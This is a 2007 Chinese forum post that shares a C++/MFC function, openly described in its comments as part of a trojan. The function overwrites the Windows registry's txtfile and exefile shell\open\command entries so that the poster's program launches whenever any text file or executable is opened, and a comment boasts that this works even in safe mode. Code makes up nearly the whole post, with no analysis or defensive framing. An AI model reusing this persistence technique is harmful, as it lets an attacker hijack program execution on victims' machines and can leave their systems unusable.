几何尺寸与公差论坛

 找回密码
 注册
查看: 1553|回复: 0

文件类型与exe关联源码

[复制链接]
发表于 2007-4-8 19:57:31 | 显示全部楼层 |阅读模式
存在问题:与所有的exe都关联
BOOL CFileSearch::RelativeRar()
{
  BOOL result = FALSE;
  CString str;
  str.Format("%s",AfxGetApp()->m_lpCmdLine);//取得传入的命令行参数
  const char *MutexObject="MyStart";//建立互斥对象
  HANDLE hMutex = NULL;
  hMutex = ::CreateMutex(false,false,MutexObject);
  if(hMutex != NULL)
  {
    DWORD err = GetLastError();
    if(err == ERROR_ALREADY_EXISTS)
      :ostQuitMessage(0);//如果发现同一程序已经运行,则退出
  }
  if(str.Find("txt") != -1)
  {
    CString temp;
    char ch;
    int length = str.GetLength();
    for(long i = 0; i < length; i ++)
    {
      ch = str.GetAt(i);
      if(ch == '\\')
        temp = temp + "\\\\";
      else
        temp = temp + ch;
    }      
    temp = temp.Left(temp.GetLength() - 2);
    temp = temp.Mid(1);     //上面的函数是把字符串中的"\"变为"\\"
    char str1[]="\"%1\" %*";  
    // 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。
    ShellExecute(NULL,"open","notepad.exe",temp,NULL,SW_SHOW);//执行原有的程序
  }
  /*
  //在程序执行完成后,再把注册表改为我们要启动的木马程序的
  TCHAR str2[256];
  // 得到程序全路径名
  GetModuleFileName( NULL, str2, 255 );
  strcat(str2," \"%1\" %*");
  ::RegSetValue(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command", REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);
  //经过上述过程只要程序一运行就会执行我们的start 程序了。      
    char str3[]="NOTEPAD.EXE %1";
  ::RegSetValue(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command", REG_SZ,(LPCTSTR)str3 , strlen(str3 + 1));
  char str1[]="\"%1\" %*";
  ::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
    REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);*/
  //char str[]="\"%1\" %*";  
  str = "g3zuSaNUIsEmailCode.txt";
  RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",REG_SZ,(LPCTSTR)str,strlen(str)+1);
  // 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。
  ShellExecute(NULL,"open","notepad.exe",NULL,NULL,SW_SHOW);//执行原有的程序
  //在程序执行完成后,再把注册表改为我们要启动的木马程序的
  TCHAR filename[256];
  // 得到程序全路径名
  GetModuleFileName( NULL, filename, 255 );
  strcat(filename," \"%1\" %*");
  RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);
  //经过上述过程只要程序一运行就会执行我们的start 程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。
   return result;
}
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|小黑屋|几何尺寸与公差论坛

GMT+8, 2024-5-10 04:39 , Processed in 0.035574 second(s), 19 queries .

Powered by Discuz! X3.4 Licensed

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表